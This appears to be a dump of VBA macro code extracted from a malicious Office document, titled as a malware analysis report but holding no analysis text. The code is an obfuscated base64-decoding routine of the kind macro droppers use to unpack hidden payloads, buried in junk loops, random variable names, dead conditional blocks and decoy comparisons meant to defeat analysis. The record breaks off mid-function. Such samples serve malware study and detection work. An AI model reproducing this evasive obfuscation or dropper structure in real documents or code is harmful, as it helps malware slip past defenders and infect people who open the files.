Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "MsH78T"
Public Function o1QlG8Dd3Iis12bZ(vD36qpJZL8GeQAz As String, Optional Ato3M7V3wDpUjpi As Boolean = True) As String
Static LuSh0F9OciLG3A(0 To 255) As Byte
Dim TUk1JXzhwD4M1C, HMp7IZ6g89l As String
TUk1JXzhwD4M1C = 5
HMp7IZ6g89l = 8
#If TUk1JXzhwD4M1C > HMp7IZ6g89l Then
Dim CjATn5MxXec As LongPtr
#Else
Dim CjATn5MxXec As Integer
CjATn5MxXec = 5 + 8
Dim tgXk2ad7qXX As Integer
For tgXk2ad7qXX = 0 To TUk1JXzhwD4M1C
tgXk2ad7qXX = tgXk2ad7qXX + 1
Next tgXk2ad7qXX
#End If
Dim bnHGwM0LtfWQ() As Byte, Rkun5BYdX9RUOze() As Byte
Dim ASNpELukNPNCoF As String
ASNpELukNPNCoF = Application.UserName
Dim PPRwENUx8A2, fB3TucSrLUMwGE As Integer
fB3TucSrLUMwGE = Len(ASNpELukNPNCoF)
Dim xHP3HaEyyVR As Collection
While fB3TucSrLUMwGE > 2
PPRwENUx8A2 = PPRwENUx8A2 + 9
fB3TucSrLUMwGE = fB3TucSrLUMwGE - 8
Wend
Dim ZrFxJOxuAN0Cdu As Collection
Set ZrFxJOxuAN0Cdu = New Collection
ZrFxJOxuAN0Cdu.Add "xHP3HaEyyVR"
ZrFxJOxuAN0Cdu.Add "Caulci5cJc3"
ZrFxJOxuAN0Cdu.Add "o4f1aDgO9yplgG"
Dim zpMTV7m9K2IeRk As String
Dim zrKidcgUP8T As String
zrKidcgUP8T = NTCuBN7dJD2
zpMTV7m9K2IeRk = DX5N4sis414
If (StrComp(zpMTV7m9K2IeRk, zrKidcgUP8T, vbTextCompare) <> 0) Then
MsgBox ("Optional: q7FufYZqoaN9En.")
End If
Dim Fwv4dcbNIs8G1UFmno As Long, DEFwnztihGr0ZH1j As Long
Dim QliNONUxaMkfjp, rHZy2jFH3HI As Integer
QliNONUxaMkfjp = 7
rHZy2jFH3HI = 7
#If JnjFaohhY06 <> 0 Then
JnjFaohhY06 = JnjFaohhY06 + 1
Dim I6RWgILuFmF As Variant
Else
Dim I6RWgILuFmF As Object
#End If
If QliNONUxaMkfjp > rHZy2jFH3HI Then
For GioRYcwYLrbECk = rHZy2jFH3HI To QliNONUxaMkfjp
rHZy2jFH3HI = rHZy2jFH3HI / QliNONUxaMkfjp
Next GioRYcwYLrbECk
End If
Dim C76JCfGfAaJPFv, AoPs1OwvYKL As Integer
C76JCfGfAaJPFv = 2
AoPs1OwvYKL = 2
#If Co5Spry06tb <> 0 Then
Co5Spry06tb = Co5Spry06tb + 4
Dim MiZj6EuS1S6 As Variant
Else
Dim MiZj6EuS1S6 As Object
#End If
If C76JCfGfAaJPFv > AoPs1OwvYKL Then
For LKKnOmTtRiw781 = AoPs1OwvYKL To C76JCfGfAaJPFv
AoPs1OwvYKL = AoPs1OwvYKL / C76JCfGfAaJPFv
Next LKKnOmTtRiw781
End If
Dim BjZqTRSrBGT3Ga As String
Dim nHCdMhNb2dl As String
nHCdMhNb2dl = Wsv1Zjg3yLl
BjZqTRSrBGT3Ga = n65UABQccD2
If (StrComp(BjZqTRSrBGT3Ga, nHCdMhNb2dl, vbTextCompare) <> 0) Then
MsgBox ("Optional: WaFSPI15kq6F2j.")
End If
Dim SFi1gLLZAhhRVw As String
Dim FTXB2l4x0Cu As String
FTXB2l4x0Cu = ZLo5pDkLQtN
SFi1gLLZAhhRVw = kQVtYQ5iVRL
If (StrComp(SFi1gLLZAhhRVw, FTXB2l4x0Cu, vbTextCompare) <> 0) Then
MsgBox ("Optional: CfNZ9ZmPgOfGCA.")
End If
If LuSh0F9OciLG3A(0) = 0 Then
Dim fm6xnu2XvFZvgE As Object
Dim nRX00I4HTL5eL0 As Integer
For cMRxaPdcg5U = 7 To 72
nRX00I4HTL5eL0 = cMRxaPdcg5U
Next cMRxaPdcg5U
For Fwv4dcbNIs8G1UFmno = 0 To 255
Dim xxIIYSOaN3QDp0 As String
xxIIYSOaN3QDp0 = Application.UserName
Dim gUBVZTp1DZy, fYV4EPQYFwsTZB As Integer
fYV4EPQYFwsTZB = Len(xxIIYSOaN3QDp0)
Dim zQucE75zfq9 As Collection
While fYV4EPQYFwsTZB > 6
gUBVZTp1DZy = gUBVZTp1DZy + 2
fYV4EPQYFwsTZB = fYV4EPQYFwsTZB - 4
Wend
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno) = 255
Dim JKOJEfCsPOrBPv As Integer
Dim XG9TZ2W9xst As String
JKOJEfCsPOrBPv = 4978
Dim kplvjajESsw As Integer
XG9TZ2W9xst = Right(CStr(JKOJEfCsPOrBPv), 1)
kplvjajESsw = CInt(XG9TZ2W9xst)
For dffGOelYFIy = kplvjajESsw To 91
JKOJEfCsPOrBPv = JKOJEfCsPOrBPv + 9
Next dffGOelYFIy
Dim PgbDFIQzh5j7L1 As Integer
Dim BKO2FvAHy33 As String
PgbDFIQzh5j7L1 = 9265
Dim reQp6dSmgoh As Integer
BKO2FvAHy33 = Right(CStr(PgbDFIQzh5j7L1), 1)
reQp6dSmgoh = CInt(BKO2FvAHy33)
For LdYpC0Vc1pZ = reQp6dSmgoh To 62
PgbDFIQzh5j7L1 = PgbDFIQzh5j7L1 + 4
Next LdYpC0Vc1pZ
Next Fwv4dcbNIs8G1UFmno
Dim ZLXS1zlTsM2MFX As String
Dim WhdlVzV9EBK As String
WhdlVzV9EBK = ZjsP8ejrlKD
ZLXS1zlTsM2MFX = EEh21snOBdj
If (StrComp(ZLXS1zlTsM2MFX, WhdlVzV9EBK, vbTextCompare) <> 0) Then
MsgBox ("Optional: Q6n0RhDweHVHWO.")
End If
For Fwv4dcbNIs8G1UFmno = 0 To 25
Dim Dc5mVxAr5PvmIM As Object
Dim oHRynbjE6torWe As String
Dim rqVxI03LbfL As String
rqVxI03LbfL = mYjVMCLIAYj
oHRynbjE6torWe = jPCJP0FJ2j9
If (StrComp(oHRynbjE6torWe, rqVxI03LbfL, vbTextCompare) <> 0) Then
MsgBox ("Optional: bJG7GBRPlqwm4C.")
End If
Dim gmt1ZOP6J1vz23, gIGOHVdYAob As String
gmt1ZOP6J1vz23 = 1
gIGOHVdYAob = 5
#If gmt1ZOP6J1vz23 > gIGOHVdYAob Then
Dim uG1SCpMfYJA As LongPtr
#Else
Dim uG1SCpMfYJA As Integer
uG1SCpMfYJA = 1 + 5
Dim JKkeetTskRX As Integer
For JKkeetTskRX = 0 To gmt1ZOP6J1vz23
JKkeetTskRX = JKkeetTskRX + 1
Next JKkeetTskRX
#End If
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno + 65) = Fwv4dcbNIs8G1UFmno
Dim rr5sS4FIUBRAI9 As Integer
Dim z72Si3yO2Mk As String
rr5sS4FIUBRAI9 = 4369
Dim Ntn4vDKmni7 As Integer
z72Si3yO2Mk = Right(CStr(rr5sS4FIUBRAI9), 1)
Ntn4vDKmni7 = CInt(z72Si3yO2Mk)
For Mk7xfwEEcDO = Ntn4vDKmni7 To 54
rr5sS4FIUBRAI9 = rr5sS4FIUBRAI9 + 4
Next Mk7xfwEEcDO
Dim SptqDfVXrlfcAA As Integer
For vOxaFUepsX1 = 3 To 39
SptqDfVXrlfcAA = vOxaFUepsX1
Next vOxaFUepsX1
Next Fwv4dcbNIs8G1UFmno
Dim JJQf6mRBzSnutp As Integer
Dim xrl4ii6NZGGsCC As Integer
For T3tUqjuEm34 = 4 To 46
xrl4ii6NZGGsCC = T3tUqjuEm34
Next T3tUqjuEm34
For Fwv4dcbNIs8G1UFmno = 26 To 51
Dim JRRCninmKK0RH6 As Integer
Dim Kfw9a2hJhFK As String
JRRCninmKK0RH6 = 8661
Dim xrx8jJJ3x8g As Integer
Kfw9a2hJhFK = Right(CStr(JRRCninmKK0RH6), 1)
xrx8jJJ3x8g = CInt(Kfw9a2hJhFK)
For xIKkpe2LzFR = xrx8jJJ3x8g To 39
JRRCninmKK0RH6 = JRRCninmKK0RH6 + 4
Next xIKkpe2LzFR
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno + 71) = Fwv4dcbNIs8G1UFmno
Dim IFr8CsGfyw7zuX As Integer
Dim g23zMDJkdNHGMC As String
g23zMDJkdNHGMC = Application.UserName
Dim pUxzdKfOTUP, bFZDvzJhXjihi6 As Integer
bFZDvzJhXjihi6 = Len(g23zMDJkdNHGMC)
Dim hHt00mbDP3z As Collection
While bFZDvzJhXjihi6 > 5
pUxzdKfOTUP = pUxzdKfOTUP + 3
bFZDvzJhXjihi6 = bFZDvzJhXjihi6 - 7
Wend
Dim FVrlrrkchEEiVw As Integer
Dim PxuCIPlvWaF As String
FVrlrrkchEEiVw = 5327
Dim iJHNVUtUMhG As Integer
PxuCIPlvWaF = Right(CStr(FVrlrrkchEEiVw), 1)
iJHNVUtUMhG = CInt(PxuCIPlvWaF)
For EP6MHDrn1gF = iJHNVUtUMhG To 23
FVrlrrkchEEiVw = FVrlrrkchEEiVw + 2
Next EP6MHDrn1gF
Next Fwv4dcbNIs8G1UFmno
Dim k6d323wgMSsDE6 As Integer
Dim otMdbGiRIQ7CkT As String
otMdbGiRIQ7CkT = Application.UserName
Dim mDFUoC6In35, wnI2trVEoFSidq As Integer
wnI2trVEoFSidq = Len(otMdbGiRIQ7CkT)
Dim yaeRpka6t4w As Collection
While wnI2trVEoFSidq > 3
mDFUoC6In35 = mDFUoC6In35 + 7
wnI2trVEoFSidq = wnI2trVEoFSidq - 6
Wend
Dim DAdqgG1Z7HX6vy As Collection
Set DAdqgG1Z7HX6vy = New Collection
DAdqgG1Z7HX6vy.Add "yaeRpka6t4w"
DAdqgG1Z7HX6vy.Add "wsY2NMij2bG"
DAdqgG1Z7HX6vy.Add "nkEBd1d1Iz0sko"
Dim E3VUOhpBfz5gTE As String
Dim AtXzCc27kIIrlt, LGGJUljwlAQ As String
AtXzCc27kIIrlt = 2
LGGJUljwlAQ = 5
#If AtXzCc27kIIrlt > LGGJUljwlAQ Then
Dim WMjnyuJVt5l As LongPtr
#Else
Dim WMjnyuJVt5l As Integer
WMjnyuJVt5l = 2 + 5
Dim BQeVJZyYJFu As Integer
For BQeVJZyYJFu = 0 To AtXzCc27kIIrlt
BQeVJZyYJFu = BQeVJZyYJFu + 1
Next BQeVJZyYJFu
#End If
For Fwv4dcbNIs8G1UFmno = 52 To 61
Dim Is2T3Y3wm6gR5f As String
Is2T3Y3wm6gR5f = Application.UserName
Dim S6LPKqFZZxH, IW54l4W5uTDMu9 As Integer
IW54l4W5uTDMu9 = Len(Is2T3Y3wm6gR5f)
Dim IYHz3kF4Mqc As Collection
While IW54l4W5uTDMu9 > 9
S6LPKqFZZxH = S6LPKqFZZxH + 2
IW54l4W5uTDMu9 = IW54l4W5uTDMu9 - 7
Wend
Dim Q1OVbrWlz4sSDN, c1UxtBO1iFh As Integer
Q1OVbrWlz4sSDN = 9
c1UxtBO1iFh = 7
#If MiaxajvnvYU <> 0 Then
MiaxajvnvYU = MiaxajvnvYU + 4
Dim Vcckt3rvAmk As Variant
Else
Dim Vcckt3rvAmk As Object
#End If
If Q1OVbrWlz4sSDN > c1UxtBO1iFh Then
For zaL6MmXOcTIzMI = c1UxtBO1iFh To Q1OVbrWlz4sSDN
c1UxtBO1iFh = c1UxtBO1iFh / Q1OVbrWlz4sSDN
Next zaL6MmXOcTIzMI
End If
LuSh0F9OciLG3A(Fwv4dcbNIs8G1UFmno - 4) = Fwv4dcbNIs8G1UFmno
Dim xRJMuExdG3ShD2 As Integer
For JOGqdNxVD7X = 4 To 48
xRJMuExdG3ShD2 = JOGqdNxVD7X
Next JOGqdNxVD7X
Dim YNjfP8jxszmqdL, z4KJGQcaKOJ As Integer
YNjfP8jxszmqdL = 6
z4KJGQcaKOJ = 4
#If Nt7cYyjOW1x <> 0 Then
Nt7cYyjOW1x = Nt7cYyjOW1x + 3
Dim U1KxTkx1h6J As Variant
Else
Dim U1KxTkx1h6J As Object
#End If
If YNjfP8jxszmqdL > z4KJGQcaKOJ Then
For ON1itwsADCUW8O = z4KJGQcaKOJ To YNjfP8jxszmqdL
z4KJGQcaKOJ = z4KJGQcaKOJ / YNjfP8jxszmqdL
Next ON1itwsADCUW8O
End If
Next Fwv4dcbNIs8G1UFmno
Dim ZMlqMe2efD7DVP As String
ZMlqMe2efD7DVP = Application.UserName
Dim ngvIctnJ2w2, eURvOWDaVUyyaA As Integer
eURvOWDaVUyyaA = Len(ZMlqMe2efD7DVP)
Dim oe4P4ufXbyw As Collection
While eURvOWDaVUyyaA > 5
ngvIctnJ2w2 = ngvIctnJ2w2 + 5
eURvOWDaVUyyaA = eURvOWDaVUyyaA - 8
Wend
Dim zCOQzcTEPKJvNi, ttJhAh7UxTA As Integer
zCOQzcTEPKJvNi = 6
ttJhAh7UxTA = 2
#If Esq6vpcJ0aO <> 0 Then
Esq6vpcJ0aO = Esq6vpcJ0aO + 5
Dim bt8hlbRbuTK As Variant
Else
Dim bt8hlbRbuTK As Object
#End If
If zCOQzcTEPKJvNi > ttJhAh7UxTA Then
For kiDHz2bipM5Qst = ttJhAh7UxTA To zCOQzcTEPKJvNi
ttJhAh7UxTA = ttJhAh7UxTA / zCOQzcTEPKJvNi
Next kiDHz2bipM5Qst
End If
LuSh0F9OciLG3A(43) = 62
Dim n5ugxVY2lsSRM5, z6oxLaUC2ke As String
n5ugxVY2lsSRM5 = 1
z6oxLaUC2ke = 4
#If n5ugxVY2lsSRM5 > z6oxLaUC2ke Then
Dim GUFhJWM5vJs As LongPtr
#Else
Dim GUFhJWM5vJs As Integer
GUFhJWM5vJs = 1 + 4
Dim VrZyzXStwL2 As Integer
For VrZyzXStwL2 = 0 To n5ugxVY2lsSRM5
VrZyzXStwL2 = VrZyzXStwL2 + 1
Next VrZyzXStwL2
#End If
LuSh0F9OciLG3A(47) = 63
Dim TbvQg7ZWm7tIzS As String
TbvQg7ZWm7tIzS = Application.UserName
Dim NUufAcJDxap, mcqixb26TmVkRS As Integer
mcqixb26TmVkRS = Len(TbvQg7ZWm7tIzS)
Dim MoryfC1Yqya As Collection
While mcqixb26TmVkRS > 5
NUufAcJDxap = NUufAcJDxap + 8
mcqixb26TmVkRS = mcqixb26TmVkRS - 8
Wend
Dim HJQQnj3yn4cev6 As String
HJQQnj3yn4cev6 = Application.UserName
Dim qaYcZKsbOW8, xpzfUr7Vq43SlW As Integer
xpzfUr7Vq43SlW = Len(HJQQnj3yn4cev6)
Dim BNKz4KVrzRm As Collection
While xpzfUr7Vq43SlW > 6
qaYcZKsbOW8 = qaYcZKsbOW8 + 7
xpzfUr7Vq43SlW = xpzfUr7Vq43SlW - 7
Wend
End If
Dim eZvDNStnyUJ69Y As String
Dim GCO948u26nU1Kb As Integer
For wV02w8HWoin = 4 To 41
GCO948u26nU1Kb = wV02w8HWoin
Next wV02w8HWoin
If vD36qpJZL8GeQAz = "" Then Exit Function
Dim dGp8rATAuEv3On As Object
Dim uyc9pWKtIbK4aM As Integer
Dim bSVZ71vYEXY As String
uyc9pWKtIbK4aM = 4973
Dim XiwuZJ03T7c As Integer
bSVZ71vYEXY = Right(CStr(uyc9pWKtIbK4aM), 1)
XiwuZJ03T7c = CInt(bSVZ71vYEXY)
For YruyZKYOKJZ = XiwuZJ03T7c To 13
uyc9pWKtIbK4aM = uyc9pWKtIbK4aM + 1
Next YruyZKYOKJZ
Dim Yk90NOBisAGlLG As String
Dim gcsXGgABMp6 As String
gcsXGgABMp6 = rHTv93p4fTG
Yk90NOBisAGlLG = b32WMPo8mpI
If (StrComp(Yk90NOBisAGlLG, gcsXGgABMp6, vbTextCompare) <> 0) Then
MsgBox ("Optional: wdwVdgHJaYT3XG.")
End If
vD36qpJZL8GeQAz = Trim(vD36qpJZL8GeQAz)
Dim kS4U3ys0Ae0TbX As Integer
For qi7XxVkn0J2 = 1 To 12
kS4U3ys0Ae0TbX = qi7XxVkn0J2
Next qi7XxVkn0J2
Dim DQvcKJQpkN9OHy As Integer
Dim oBceEE1NvjD As String
DQvcKJQpkN9OHy = 6773
Dim Uel7345JuL0 As Integer
oBceEE1NvjD = Right(CStr(DQvcKJQpkN9OHy), 1)
Uel7345JuL0 = CInt(oBceEE1NvjD)
For RNwIpZBjYET = Uel7345JuL0 To 46
DQvcKJQpkN9OHy = DQvcKJQpkN9OHy + 1
Next RNwIpZBjYET
If Ato3M7V3wDpUjpi Then
Dim HzAdArUQT96ZS7 As Object
Dim F9615oiaEXKqay As String
F9615oiaEXKqay = Application.UserName
Dim pjuT6W5Wwk2, zkkrPM0FuMW9Cz As Integer
zkkrPM0FuMW9Cz = Len(F9615oiaEXKqay)
Dim u0n75uIfS5I As Collection
While zkkrPM0FuMW9Cz > 2
pjuT6W5Wwk2 = pjuT6W5Wwk2 + 9
zkkrPM0FuMW9Cz = zkkrPM0FuMW9Cz - 9
Wend
Dim wcInBKI2oNXaeM As Collection
Set wcInBKI2oNXaeM = New Collection
wcInBKI2oNXaeM.Add "u0n75uIfS5I"
wcInBKI2oNXaeM.Add "SW2cJAt8VV1"
wcInBKI2oNXaeM.Add "wmyOhC0CXOe6pM"
For Fwv4dcbNIs8G1UFmno = 0 To 255
Dim O7nq1IehWptYM2 As Integer
Dim nDxPetAxtmh As String
O7nq1IehWptYM2 = 6613
Dim UJ25QZCeGmq As Integer
nDxPetAxtmh = Right(CStr(O7nq1IehWptYM2), 1)
UJ25QZCeGmq = CInt(nDxPetAxtmh)
For coMlnGjqhQf = UJ25QZCeGmq To 13
O7nq1IehWptYM2 = O7nq1IehWptYM2 + 9
Next coMlnGjqhQf
Dim tfUHQDG2uLbhft, fCedZ0XZZdS As String
tfUHQDG2uLbhft = 3
fCedZ0XZZdS = 3
#If tfUHQDG2uLbhft > fCedZ0XZZdS Then
Dim qSBfcML52kd As LongPtr
#Else
Dim qSBfcML52kd As Integer
qSBfcML52kd = 3 + 3
Dim OexMkAVEn8p As Integer
For OexMkAVEn8p = 0 To tfUHQDG2uLbhft
OexMkAVEn8p = OexMkAVEn8p + 1
Next OexMkAVEn8p
#End If
If Not (Chr(Fwv4dcbNIs8G1UFmno) Like "[A-Za-z0-9+/=]") Then
Dim GuAnMPWDVxTI8t As String
Dim D3MKHiAKuwdrqJ, GlXccnSL0j1 As String
D3MKHiAKuwdrqJ = 6
GlXccnSL0j1 = 7
#If D3MKHiAKuwdrqJ > GlXccnSL0j1 Then
Dim jZ5PNEPMzVH As LongPtr
#Else
Dim jZ5PNEPMzVH As Integer
jZ5PNEPMzVH = 6 + 7
Dim ssiqzOsvFgR As Integer
For ssiqzOsvFgR = 0 To D3MKHiAKuwdrqJ
ssiqzOsvFgR = ssiqzOsvFgR + 1
Next ssiqzOsvFgR
#End If
Dim miB2CmTbJE4hsO As String
Dim a2zAuo3w0Dd As String
a2zAuo3w0Dd = EeUXzQRT6fn
miB2CmTbJE4hsO = odEOZHhsTKD
If (StrComp(miB2CmTbJE4hsO, a2zAuo3w0Dd, vbTextCompare) <> 0) Then
MsgBox ("Optional: sAZyoNPO8s8Z7I.")
End If
vD36qpJZL8GeQAz = Replace(vD36qpJZL8GeQAz, Chr(Fwv4dcbNIs8G1UFmno), "")
End If
Next Fwv4dcbNIs8G1UFmno
Dim ymljcJpYvjW6yr, ZypFWh7ayLq As Integer
ymljcJpYvjW6yr = 8
ZypFWh7ayLq = 9
#If sLwcgNgDul4 <> 0 Then
sLwcgNgDul4 = sLwcgNgDul4 + 3
Dim WnydoE66SPM As Variant
Else
Dim WnydoE66SPM As Object
#End If
If ymljcJpYvjW6yr > ZypFWh7ayLq Then
For jwGl0zngiyZ3l7 = ZypFWh7ayLq To ymljcJpYvjW6yr
ZypFWh7ayLq = ZypFWh7ayLq / ymljcJpYvjW6yr
Next jwGl0zngiyZ3l7
End If
End If
Rkun5BYdX9RUOze() = StrConv(vD36qpJZL8GeQAz, vbFromUnicode)
Dim ugWmW3UfsVRgho As String
ugWmW3UfsVRgho = Application.UserName
Dim sQqEXdhE77L, Aurcb5vgxiZbFG As Integer
Aurcb5vgxiZbFG = Len(ugWmW3UfsVRgho)
Dim OzNGU18yTMP As Collection
While Aurcb5vgxiZbFG > 4
sQqEXdhE77L = sQqEXdhE77L + 7
Aurcb5vgxiZbFG = Aurcb5vgxiZbFG - 1
Wend
Dim FZXeTsObl0DAMU As Collection
Set FZXeTsObl0DAMU = New Collection
FZXeTsObl0DAMU.Add "OzNGU18yTMP"
FZXeTsObl0DAMU.Add "WnEKJZGREQQ"
FZXeTsObl0DAMU.Add "G8q34AwdY1ZDCz"
Dim GRIP3HV8MUib8U As Integer
For kf3lfPBiZlK = 3 To 36
GRIP3HV8MUib8U = kf3lfPBiZlK
Next kf3lfPBiZlK
Dim EUMHW2ICMmcXrF, b3jtaJ40Gdz As Integer
EUMHW2ICMmcXrF = 6
b3jtaJ40Gdz = 8
#If hGhJljyi7Kq <> 0 Then
hGhJljyi7Kq = hGhJljyi7Kq + 6
Dim SRORHjwvttY As Variant
Else
Dim SRORHjwvttY As Object
#End If
If EUMHW2ICMmcXrF > b3jtaJ40Gdz Then
For K5KgMo3nONtUsw = b3jtaJ40Gdz To EUMHW2ICMmcXrF
b3jtaJ40Gdz = b3jtaJ40Gdz / EUMHW2ICMmcXrF
Next K5KgMo3nONtUsw
End If
ReDim bnHGwM0LtfWQ(0 To ((Len(vD36qpJZL8GeQAz) \ 4) * 3 - 1))
Dim elgV1pnyCvjopC As String
Dim gfyqCkwORru As String
gfyqCkwORru = tt2UnRQTI2R
elgV1pnyCvjopC = YgnA1UXOzOp
If (StrComp(elgV1pnyCvjopC, gfyqCkwORru, vbTextCompare) <> 0) Then
MsgBox ("Optional: wAAxLjFVWTxl95.")
End If
Dim pGqOwf7n5oEH08, ne4Ivp7iIiW As String
pGqOwf7n5oEH08 = 8
ne4Ivp7iIiW = 3
#If pGqOwf7n5oEH08 > ne4Ivp7iIiW Then
Dim ugP5GwI2KlX As LongPtr
#Else
Dim ugP5GwI2KlX As Integer
ugP5GwI2KlX = 8 + 3
Dim gGuoXaWY7km As Integer
For gGuoXaWY7km = 0 To pGqOwf7n5oEH08
gGuoXaWY7km = gGuoXaWY7km + 1
Next gGuoXaWY7km
#End If
Dim TP8I139rry26Pp As String
Dim TX2yYHRhMtk As String
TX2yYHRhMtk = oRn6fgsHpzW
TP8I139rry26Pp = VdO1oqsigBV
If (StrComp(TP8I139rry26Pp, TX2yYHRhMtk, vbTextCompare) <> 0) Then
MsgBox ("Optional: wf5hwp44xCOhFl.")
End If
For Fwv4dcbNIs8G1UFmno = 0 To Len(vD36qpJZL8GeQAz) \ 4 - 2
Dim A8tDNu8TK6IPS5 As String
DEFwnztihGr0ZH1j = LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 3))
Dim CN5zW58jSqjiYl As Integer
Dim MJwtnaFZ7gI As String
CN5zW58jSqjiYl = 6366
Dim vHUPnIkTLtC As Integer
MJwtnaFZ7gI = Right(CStr(CN5zW58jSqjiYl), 1)
vHUPnIkTLtC = CInt(MJwtnaFZ7gI)
For w5ZURdC2GUO = vHUPnIkTLtC To 28
CN5zW58jSqjiYl = CN5zW58jSqjiYl + 3
Next w5ZURdC2GUO
Dim fA356JbsQL7xwK As Integer
For Svfb9uUuoCF = 3 To 39
fA356JbsQL7xwK = Svfb9uUuoCF
Next Svfb9uUuoCF
Dim GxkkaLWF8jnOjp, qkNVlX5RQbm As String
GxkkaLWF8jnOjp = 9
qkNVlX5RQbm = 3
#If GxkkaLWF8jnOjp > qkNVlX5RQbm Then
Dim EHHb82v4ON7 As LongPtr
#Else
Dim EHHb82v4ON7 As Integer
EHHb82v4ON7 = 9 + 3
Dim rFJKYZcaGFK As Integer
For rFJKYZcaGFK = 0 To GxkkaLWF8jnOjp
rFJKYZcaGFK = rFJKYZcaGFK + 1
Next rFJKYZcaGFK
#End If
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 2)) * &H40&)
Dim zfy0Vg4J367RaU As Object
Dim Oyg7g4QavwLS9I As Integer
Dim Bq5vW8rLmeM As String
Oyg7g4QavwLS9I = 3527
Dim t886mELAD49 As Integer
Bq5vW8rLmeM = Right(CStr(Oyg7g4QavwLS9I), 1)
t886mELAD49 = CInt(Bq5vW8rLmeM)
For bcz0g7pIejB = t886mELAD49 To 93
Oyg7g4QavwLS9I = Oyg7g4QavwLS9I + 3
Next bcz0g7pIejB
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 1)) * &H1000&)
Dim ZRFMrPR2xO4kqC As Object
Dim YDCquJJBMiFrEQ As String
DEFwnztihGr0ZH1j = DEFwnztihGr0ZH1j Or (LuSh0F9OciLG3A(Rkun5BYdX9RUOze(Fwv4dcbNIs8G1UFmno * 4 + 0)) * &H40000)
Dim gbLyijf52qHokr, ekfBgWQuvBS As String
gbLyijf52qHokr = 4
ekfBgWQuvBS = 8
#If gbLyijf52qHokr > ekfBgWQuvBS Then
Dim jCqfr6EJ1Rp As LongPtr
#Else
Dim jCqfr6EJ1Rp As Integer
jCqfr6EJ1Rp = 4 + 8
Dim hb7B1HxixYp As Integer
For hb7B1HxixYp = 0 To gbLyijf52qHokr
hb7B1HxixYp = hb7B1HxixYp + 1
Next hb7B1HxixYp
#End If
Dim DefI5NL4Aqxpl3 As Integer
For hyz45652B9c = 6 To 69
DefI5NL4Aqxpl3 = hyz45652B9c
Next hyz45652B9c
Dim nk04c696cJ8Acc As Integer
For U2bhfTNoC5E = 9 To 98
nk04c696cJ8Acc = U2bhfTNoC5E
Next U2bhfTNoC5E
Dim tAcKcqDklwFG7A As Integer
Dim xOEDiY7xvVa As String
tAcKcqDklwFG7A = 6117
Dim bMbfiGz4Xr3 As Integer
xOEDiY7xvVa = Right(CStr(tAcKcqDklwFG7A), 1)
bMbfiGz4Xr3 = CInt(xOEDiY7xvVa)
For LOave5rbi57 = bMbfiGz4Xr3 To 63
tAcKcqDklwFG7A = tAcKcqDklwFG7A + 2
Next LOave5rbi57
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 0) = (DEFwnztihGr0ZH1j And &HFF0000) \ &H10000
Dim Q4poHegR20ovQu As Object
Dim iPbWweJ5t9QoEN As String
iPbWweJ5t9QoEN = Application.UserName
Dim K3pEF5jUirS, igM3pHRgTrtEmm As Integer
igM3pHRgTrtEmm = Len(iPbWweJ5t9QoEN)
Dim H1cT2dans8N As Collection
While igM3pHRgTrtEmm > 6
K3pEF5jUirS = K3pEF5jUirS + 5
igM3pHRgTrtEmm = igM3pHRgTrtEmm - 6
Wend
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 1) = (DEFwnztihGr0ZH1j And &HFF00&) \ &H100&
Dim umtj4OaH7u0Glj As String
umtj4OaH7u0Glj = Application.UserName
Dim znwxoAAT1nW, qK1MWEtBkuFN5w As Integer
qK1MWEtBkuFN5w = Len(umtj4OaH7u0Glj)
Dim zchCp80r7GA As Collection
While qK1MWEtBkuFN5w > 5
znwxoAAT1nW = znwxoAAT1nW + 3
qK1MWEtBkuFN5w = qK1MWEtBkuFN5w - 3
Wend
Dim tHCso6AxTYwU4g As String
Dim Ixh7SzLO4VF As String
Ixh7SzLO4VF = zvQ2vvjUJCZ
tHCso6AxTYwU4g = DdRtdSo9O4x
If (StrComp(tHCso6AxTYwU4g, Ixh7SzLO4VF, vbTextCompare) <> 0) Then
MsgBox ("Optional: vYj3zLr6nMrnoK.")
End If
bnHGwM0LtfWQ(Fwv4dcbNIs8G1UFmno * 3 + 2) = DEFwnztihGr0ZH1j And &HFF&
Dim iiU3j5GLJ11T18 As String
iiU3j5GLJ11T18 = Application.UserName
Dim TnMYNX0mitV, hxViGhXMCAkhdi As Integer
hxViGhXMCAkhdi = Len(iiU3j5GLJ11T18)
Dim FWB5FZny0Im As Collection
While hxViGhXMCAkhdi > 1
TnMYNX0mitV = TnMYNX0mitV + 6
hxViGhXMCAkhdi = hxViGhXMCAkhdi - 8
Wend
Dim EQEcOeA0vPIU6z As Collection
Set EQEcOeA0vPIU6z = New Collection
EQEcOeA0vPIU6z.Add "FWB5FZny0Im"
EQEcOeA0vPIU6z.Add "TDEQkbeT2oq"
EQEcOeA0vPIU6z.Add "UHP0rZsMjgSGbn"
Dim kYMht3IcHff1xK As String
Dim sCpg2ne2rgG As String
sCpg2ne2rgG = PD4nwDWSlNW
kYMht3IcHff1xK = cSU6sOZnmLi
If (StrComp(kYMht3IcHff1xK, sCpg2ne2rgG, vbTextCompare) <> 0) Then
MsgBox ("Optional: eRa7MWnsxrqaa0.")
End If
Dim J54QcD35ucmMy0 As Integer
Dim Ap3Yp014FeY As String
J54QcD35ucmMy0 = 4348
Dim DLdnUnz5jBa As Integer
Ap3Yp014FeY = Right(CStr(J54QcD35ucmMy0), 1)
DLdnUnz5jBa = CInt(Ap3Yp014FeY)
For lbWnwfqXlmg = DLdnUnz5jBa To 38
J54QcD35ucmMy0 = J54QcD35ucmMy0 + 3
Next lbWnwfqXlmg
Dim Ls3vhiVtAF9RDt As Integer
Dim eTj8vWNQivV As String
Ls3vhiVtAF9RDt = 8826
